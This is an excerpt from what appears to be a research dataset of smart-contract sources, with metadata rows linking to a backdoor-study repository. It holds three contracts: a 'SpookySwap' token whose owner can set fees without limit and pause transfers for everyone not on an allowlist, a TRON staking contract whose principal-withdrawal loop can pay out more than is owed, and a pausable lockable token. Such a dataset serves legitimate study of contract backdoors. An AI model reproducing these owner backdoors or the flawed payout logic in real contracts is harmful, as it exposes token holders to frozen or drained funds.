uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'SpookySwap';
string private constant _symbol = 'SPOOK';
uint256 private _taxFee = 0;
uint256 private _burnFee = 0;
uint public max_tx_size = 10000000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7374d06666974119Fb6C8c1F10D4Ab7eCB724Fcd, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 324,008 | 12,228 |
50a99e431b83e45138379f967ac48b19e510905f0d53cd0526c635e471b2a696
| 17,894 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TK/TKxtNi6UJwTjtBXUC6mdAdq96JcXqENujq_EntherFoundState.sol
| 4,968 | 17,645 |
//SourceUnit: EnterFoundStaking.sol
pragma solidity ^0.5.4;
interface IERC20 {
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender)external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value)external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
}
contract EntherFoundState{
using SafeMath for uint256;
uint256 constant DAY = 1 days; // 1 day
uint256 constant POOL1ROI = 2; // 0.02 %
uint256 constant POOL2ROI = 5; // 0.05 %
uint256 constant POOL3ROI = 10; // 1 %
uint256 constant MONTH = 2592000; // 1 month
uint256 constant MAXPOOL1 = 360; // 3.6 %
uint256 constant MAXPOOL2 = 1800; // 18 %
uint256 constant MAXPOOL3 = 72000; // 720 %
uint256 public pool1Investments;
uint256 public pool2Investments;
uint256 public pool3Investments;
address owner;
// token address
address public stakeToken ;
struct User{
uint256 investedAmount;
uint256 withdrawnAmount;
Deposit[] deposits;
bool isExist;
uint256 checkpoint;
}
struct Deposit{
uint256 amount;
uint256 start;
uint256 withdrawn;
bool principleWithdrawn;
}
mapping(address => User) public pool1Users;
mapping(address => User) public pool2Users;
mapping(address => User) public pool3Users;
event depositedAmountSuccessFully(address _user, uint256 _amount, uint256 _pool);
event withdrawnPoolAmountSuccessFully(uint256 _amount, uint256 _start, uint256 _now, uint256 _diff);
event withdrawnPrincipleAmountSuccessFully(uint256 _amount, uint256 _start, uint256 _now, uint256 _diff);
constructor(address _stakingToken) public{
owner = msg.sender;
stakeToken = _stakingToken;
}
function setStakingToken(address token) public{
if(msg.sender ==owner){
stakeToken = token;
}
}
// internal functions
function deposit(address _user, uint256 _pool, uint256 _amount) internal{
if (_pool == 1) {
pool1Users[_user].investedAmount = pool1Users[_user].investedAmount.add(_amount);
pool1Users[_user].deposits.push(Deposit(_amount, block.timestamp, 0, false));
pool1Investments = pool1Investments.add(_amount);
if (pool1Users[_user].isExist == false) {
pool1Users[_user].isExist = true;
pool1Users[_user].checkpoint = block.timestamp;
}
}
else if (_pool == 2) {
pool2Users[_user].investedAmount = pool2Users[_user].investedAmount.add(_amount);
pool2Users[_user].deposits.push(Deposit(_amount, block.timestamp, 0, false));
pool2Investments = pool2Investments.add(_amount);
if (pool2Users[_user].isExist == false) {
pool2Users[_user].isExist = true;
pool2Users[_user].checkpoint = block.timestamp;
}
}
else if (_pool == 3) {
pool3Users[_user].investedAmount = pool3Users[_user].investedAmount.add(_amount);
pool3Users[_user].deposits.push(Deposit(_amount, block.timestamp, 0, false));
pool3Investments = pool3Investments.add(_amount);
if (pool3Users[_user].isExist == false) {
pool3Users[_user].isExist = true;
pool3Users[_user].checkpoint = block.timestamp;
}
}
emit depositedAmountSuccessFully(_user, _amount, _pool);
}
function withdrawDailyYieldInternal(address _user, uint256 _pool) internal{
uint256 amount;
uint256 totalAmount;
if (_pool == 1) {
for (uint256 i = 0; i < pool1Users[_user].deposits.length; i++) {
if (pool1Users[_user].deposits[i].withdrawn < (pool1Users[_user].deposits[i].amount.mul(MAXPOOL1)).div(100)) {
if (pool1Users[_user].deposits[i].start > pool1Users[_user].checkpoint) {
amount = pool1Users[_user].deposits[i].amount.mul(POOL1ROI).mul(block.timestamp.sub(pool1Users[_user].deposits[i].start)).div(DAY).div(10000);
emit withdrawnPoolAmountSuccessFully(amount, pool1Users[_user].deposits[i].start, block.timestamp, block.timestamp.sub(pool1Users[_user].deposits[i].start));
}
else {
amount = pool1Users[_user].deposits[i].amount.mul(POOL1ROI).mul(block.timestamp.sub(pool1Users[_user].checkpoint)).div(DAY).div(10000);
emit withdrawnPoolAmountSuccessFully(amount, pool1Users[_user].checkpoint, block.timestamp, block.timestamp.sub(pool1Users[_user].checkpoint));
}
if (pool1Users[_user].deposits[i].withdrawn.add(amount) >= (pool1Users[_user].deposits[i].amount.mul(MAXPOOL1)).div(100)) {
amount = ((pool1Users[_user].deposits[i].amount.mul(MAXPOOL1)).div(100)).sub(pool1Users[_user].deposits[i].withdrawn);
emit withdrawnPoolAmountSuccessFully(amount, pool1Users[_user].checkpoint, block.timestamp, block.timestamp.sub(pool1Users[_user].checkpoint));
}
totalAmount = totalAmount.add(amount);
pool1Users[_user].deposits[i].withdrawn = pool1Users[_user].deposits[i].withdrawn.add(amount);
}
}
pool1Users[_user].checkpoint = block.timestamp;
}
else if (_pool == 2) {
for (uint256 i = 0; i < pool2Users[_user].deposits.length; i++) {
if (pool2Users[_user].deposits[i].withdrawn < (pool2Users[_user].deposits[i].amount.mul(MAXPOOL2)).div(100)) {
if (pool2Users[_user].deposits[i].start > pool2Users[_user].checkpoint) {
amount = pool2Users[_user].deposits[i].amount.mul(POOL2ROI).mul(block.timestamp.sub(pool2Users[_user].deposits[i].start)).div(DAY).div(10000);
emit withdrawnPoolAmountSuccessFully(amount, pool2Users[_user].deposits[i].start, block.timestamp, block.timestamp.sub(pool2Users[_user].deposits[i].start));
}
else {
amount = pool2Users[_user].deposits[i].amount.mul(POOL2ROI).mul(block.timestamp.sub(pool2Users[_user].checkpoint)).div(DAY).div(10000);
emit withdrawnPoolAmountSuccessFully(amount, pool2Users[_user].checkpoint, block.timestamp, block.timestamp.sub(pool2Users[_user].checkpoint));
}
if (pool2Users[_user].deposits[i].withdrawn.add(amount) >= (pool2Users[_user].deposits[i].amount.mul(MAXPOOL2)).div(100)) {
amount = ((pool2Users[_user].deposits[i].amount.mul(MAXPOOL2)).div(100)).sub(pool2Users[_user].deposits[i].withdrawn);
emit withdrawnPoolAmountSuccessFully(amount, pool2Users[_user].checkpoint, block.timestamp, block.timestamp.sub(pool2Users[_user].checkpoint));
}
totalAmount = totalAmount.add(amount);
pool2Users[_user].deposits[i].withdrawn = pool2Users[_user].deposits[i].withdrawn.add(amount);
}
}
pool2Users[_user].checkpoint = block.timestamp;
}
else if (_pool == 3) {
for (uint256 i = 0; i < pool3Users[_user].deposits.length; i++) {
if (pool3Users[_user].deposits[i].withdrawn < (pool3Users[_user].deposits[i].amount.mul(MAXPOOL3)).div(100)) {
if (pool3Users[_user].deposits[i].start > pool3Users[_user].checkpoint) {
amount = pool3Users[_user].deposits[i].amount.mul(POOL3ROI).mul(block.timestamp.sub(pool3Users[_user].deposits[i].start)).div(DAY).div(10000);
emit withdrawnPoolAmountSuccessFully(amount, pool3Users[_user].deposits[i].start, block.timestamp, block.timestamp.sub(pool3Users[_user].deposits[i].start));
}
else {
amount = pool3Users[_user].deposits[i].amount.mul(POOL3ROI).mul(block.timestamp.sub(pool3Users[_user].checkpoint)).div(DAY).div(10000);
emit withdrawnPoolAmountSuccessFully(amount, pool3Users[_user].checkpoint, block.timestamp, block.timestamp.sub(pool3Users[_user].checkpoint));
}
if (pool3Users[_user].deposits[i].withdrawn.add(amount) >= (pool3Users[_user].deposits[i].amount.mul(MAXPOOL3)).div(100)) {
amount = ((pool3Users[_user].deposits[i].amount.mul(MAXPOOL3)).div(100)).sub(pool3Users[_user].deposits[i].withdrawn);
emit withdrawnPoolAmountSuccessFully(amount, pool3Users[_user].checkpoint, block.timestamp, block.timestamp.sub(pool3Users[_user].checkpoint));
}
totalAmount = totalAmount.add(amount);
pool3Users[_user].deposits[i].withdrawn = pool3Users[_user].deposits[i].withdrawn.add(amount);
}
}
pool3Users[_user].checkpoint = block.timestamp;
}
IERC20(stakeToken).transfer(_user,totalAmount);
}
function withdrawPrincipleInternal(address _user, uint256 _pool) internal{
uint256 amount;
uint256 totalAmount;
if (_pool == 1) {
for (uint256 i = 0; i < pool1Users[_user].deposits.length; i++) {
if (pool1Users[_user].deposits[i].principleWithdrawn == false && block.timestamp.sub(pool1Users[_user].deposits[i].start) >= MONTH.mul(6)) {
amount = pool1Users[_user].deposits[i].amount;
pool1Users[_user].deposits[i].principleWithdrawn = true;
}
totalAmount = totalAmount.add(amount);
}
pool1Users[_user].withdrawnAmount = pool1Users[_user].withdrawnAmount.add(totalAmount);
}
else if (_pool == 2) {
for (uint256 i = 0; i < pool2Users[_user].deposits.length; i++) {
if (pool2Users[_user].deposits[i].principleWithdrawn == false && block.timestamp.sub(pool2Users[_user].deposits[i].start) >= MONTH.mul(12)) {
amount = pool2Users[_user].deposits[i].amount;
pool2Users[_user].deposits[i].principleWithdrawn = true;
}
totalAmount = totalAmount.add(amount);
}
pool2Users[_user].withdrawnAmount = pool2Users[_user].withdrawnAmount.add(totalAmount);
}
else if (_pool == 3) {
for (uint256 i = 0; i < pool3Users[_user].deposits.length; i++) {
if (pool3Users[_user].deposits[i].principleWithdrawn == false && block.timestamp.sub(pool3Users[_user].deposits[i].start) >= MONTH.mul(24)) {
amount = pool3Users[_user].deposits[i].amount;
pool3Users[_user].deposits[i].principleWithdrawn = true;
}
totalAmount = totalAmount.add(amount);
}
pool3Users[_user].withdrawnAmount = pool3Users[_user].withdrawnAmount.add(totalAmount);
}
IERC20(stakeToken).transfer(_user, totalAmount);
}
// external functions
function investInPool(uint256 _pool, uint256 _amount) external{
IERC20(stakeToken).transferFrom(msg.sender, address(this), _amount);
deposit(msg.sender, _pool, _amount);
}
function withdrawPrincipleAmount(uint256 _pool) external{
withdrawPrincipleInternal(msg.sender, _pool);
}
function withdrawDailyYield(uint256 _pool) external{
withdrawDailyYieldInternal(msg.sender,_pool);
}
function getDailyYield(address _user, uint256 _pool) public view returns(uint256){
uint256 amount;
uint256 totalAmount;
if (_pool == 1) {
for (uint256 i = 0; i < pool1Users[_user].deposits.length; i++) {
if (pool1Users[_user].deposits[i].withdrawn < (pool1Users[_user].deposits[i].amount.mul(MAXPOOL1)).div(100)) {
if (pool1Users[_user].deposits[i].start > pool1Users[_user].checkpoint) {
amount = pool1Users[_user].deposits[i].amount.mul(POOL1ROI).mul(block.timestamp.sub(pool1Users[_user].deposits[i].start)).div(DAY).div(10000);
}
else {
amount = pool1Users[_user].deposits[i].amount.mul(POOL1ROI).mul(block.timestamp.sub(pool1Users[_user].checkpoint)).div(DAY).div(10000);
}
if (pool1Users[_user].deposits[i].withdrawn.add(amount) >= (pool1Users[_user].deposits[i].amount.mul(MAXPOOL1)).div(100)) {
amount = ((pool1Users[_user].deposits[i].amount.mul(MAXPOOL1)).div(100)).sub(pool1Users[_user].deposits[i].withdrawn);
}
}
totalAmount = totalAmount.add(amount);
}
}
else if (_pool == 2) {
for (uint256 i = 0; i < pool2Users[_user].deposits.length; i++) {
if (pool2Users[_user].deposits[i].withdrawn < (pool2Users[_user].deposits[i].amount.mul(MAXPOOL2)).div(100)) {
if (pool2Users[_user].deposits[i].start > pool2Users[_user].checkpoint) {
amount = pool2Users[_user].deposits[i].amount.mul(POOL2ROI).mul(block.timestamp.sub(pool2Users[_user].deposits[i].start)).div(DAY).div(10000);
}
else {
amount = pool2Users[_user].deposits[i].amount.mul(POOL2ROI).mul(block.timestamp.sub(pool2Users[_user].checkpoint)).div(DAY).div(10000);
}
if (pool2Users[_user].deposits[i].withdrawn.add(amount) >= (pool2Users[_user].deposits[i].amount.mul(MAXPOOL2)).div(100)) {
amount = ((pool2Users[_user].deposits[i].amount.mul(MAXPOOL2)).div(100)).sub(pool2Users[_user].deposits[i].withdrawn);
}
}
totalAmount = totalAmount.add(amount);
}
}
else if (_pool == 3) {
for (uint256 i = 0; i < pool3Users[_user].deposits.length; i++) {
if (pool3Users[_user].deposits[i].withdrawn < (pool3Users[_user].deposits[i].amount.mul(MAXPOOL3)).div(100)) {
if (pool3Users[_user].deposits[i].start > pool3Users[_user].checkpoint) {
amount = pool3Users[_user].deposits[i].amount.mul(POOL3ROI).mul(block.timestamp.sub(pool3Users[_user].deposits[i].start)).div(DAY).div(10000);
}
else {
amount = pool3Users[_user].deposits[i].amount.mul(POOL3ROI).mul(block.timestamp.sub(pool3Users[_user].checkpoint)).div(DAY).div(10000);
}
if (pool3Users[_user].deposits[i].withdrawn.add(amount) >= (pool3Users[_user].deposits[i].amount.mul(MAXPOOL3)).div(100)) {
amount = ((pool3Users[_user].deposits[i].amount.mul(MAXPOOL3)).div(100)).sub(pool3Users[_user].deposits[i].withdrawn);
}
}
totalAmount = totalAmount.add(amount);
}
}
return totalAmount;
}
function getContractBalance() external view returns(uint256){
return IERC20(stakeToken).balanceOf(address(this));
}
function getDepositInfo(address _user, uint256 _pool, uint256 _index) public view returns(uint256 _amount, uint256 _start, uint256 _withdrawn){
if (_pool == 1) {
return (pool1Users[_user].deposits[_index].amount, pool1Users[_user].deposits[_index].start, pool1Users[_user].deposits[_index].withdrawn);
}
else if (_pool == 2) {
return (pool2Users[_user].deposits[_index].amount, pool2Users[_user].deposits[_index].start, pool2Users[_user].deposits[_index].withdrawn);
}
else if (_pool == 3) {
return (pool3Users[_user].deposits[_index].amount, pool3Users[_user].deposits[_index].start, pool3Users[_user].deposits[_index].withdrawn);
}
}
function getUserInfo(address _user,uint256 _pool) public view returns (uint256 _investedAmount,uint256 _withdrawnAmount){
if(_pool == 1){
return (pool1Users[_user].investedAmount,pool1Users[_user].withdrawnAmount);
}
else if(_pool == 2){
return (pool2Users[_user].investedAmount,pool2Users[_user].withdrawnAmount);
}
else if(_pool == 3){
return (pool3Users[_user].investedAmount,pool3Users[_user].withdrawnAmount);
}
}
function checkTokenAllowance(address _user) public view returns (uint256 allowanceTokens) {
return IERC20(stakeToken).allowance(_user, address(this));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 299,721 | 12,229 |
b5b9455f0ae712737859643ee8e7a5ae7efe0bfef2aef3c01b776dfe2e721025
| 24,744 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x11f1c623c49a90c523f7e8875c592bba2b819f83.sol
| 4,602 | 16,657 |
pragma solidity 0.5.4;
library SafeMath {
uint256 constant internal MAX_UINT = 2 ** 256 - 1; // max uint256
function mul(uint256 _a, uint256 _b) internal pure returns(uint256) {
if (_a == 0) {
return 0;
}
require(MAX_UINT / _a >= _b);
return _a * _b;
}
function div(uint256 _a, uint256 _b) internal pure returns(uint256) {
require(_b != 0);
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns(uint256) {
require(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns(uint256) {
require(MAX_UINT - _a >= _b);
return _a + _b;
}
}
interface AbcInterface {
function decimals() external view returns (uint8);
function tokenFallback(address _from, uint _value, bytes calldata _data) external;
function transfer(address _to, uint _value) external returns (bool);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract StandardToken {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
mapping(address => mapping(address => uint256)) internal allowed;
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address _owner) public view returns(uint256) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns(uint256) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns(bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function increaseApproval(address _spender, uint256 _addedValue) public returns(bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns(bool) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
totalSupply = totalSupply.sub(value);
balances[account] = balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[account][msg.sender] = allowed[account][msg.sender].sub(value);
_burn(account, value);
}
}
contract BurnableToken is StandardToken {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseApproval(address spender, uint256 addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(spender, addedValue);
}
function decreaseApproval(address spender, uint256 subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(spender, subtractedValue);
}
}
contract LockableToken is PausableToken {
struct LockInfo {
uint256 amount;
uint256 releaseTime;
}
mapping(address => LockInfo[]) public lockDetail;
mapping(address => uint256) public transferLocked;
event LockToken(address indexed benefit, uint256 amount, uint256 releasetime);
event ReleaseToken(address indexed benefit, uint256 amount);
function transferAndLock(address to, uint256 value, uint256 lockdays) public whenNotPaused returns (bool) {
release(msg.sender);
require(to != address(0) && value != 0 && lockdays != 0);
uint256 _releaseTime = now.add(lockdays.mul(1 days));
lockDetail[to].push(LockInfo({amount:value, releaseTime:_releaseTime}));
balances[msg.sender] = balances[msg.sender].sub(value);
transferLocked[to] = transferLocked[to].add(value);
emit Transfer(msg.sender, to, value);
emit LockToken(to, value, _releaseTime);
return true;
}
function transfer(address to, uint256 value) public returns (bool) {
release(msg.sender);
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
release(from);
return super.transferFrom(from, to, value);
}
function release(address benefit) public whenNotPaused {
uint256 len = lockDetail[benefit].length;
if(len == 0) return;
uint256 totalReleasable = 0;
for(uint256 i = 0; i < len; i = i.add(1)){
LockInfo memory tmp = lockDetail[benefit][i];
if(tmp.releaseTime != 0 && now >= tmp.releaseTime){
totalReleasable = totalReleasable.add(tmp.amount);
delete lockDetail[benefit][i];
}
}
if(totalReleasable == 0) return;
balances[benefit] = balances[benefit].add(totalReleasable);
transferLocked[benefit] = transferLocked[benefit].sub(totalReleasable);
if(transferLocked[benefit] == 0)
delete lockDetail[benefit];
emit ReleaseToken(benefit, totalReleasable);
}
function releasableTokens(address benefit) public view returns(uint256) {
uint256 len = lockDetail[benefit].length;
if(len == 0) return 0;
uint256 releasable = 0;
for(uint256 i = 0; i < len; i = i.add(1)){
LockInfo memory tmp = lockDetail[benefit][i];
if(tmp.releaseTime != 0 && now >= tmp.releaseTime){
releasable = releasable.add(tmp.amount);
}
}
return releasable;
}
}
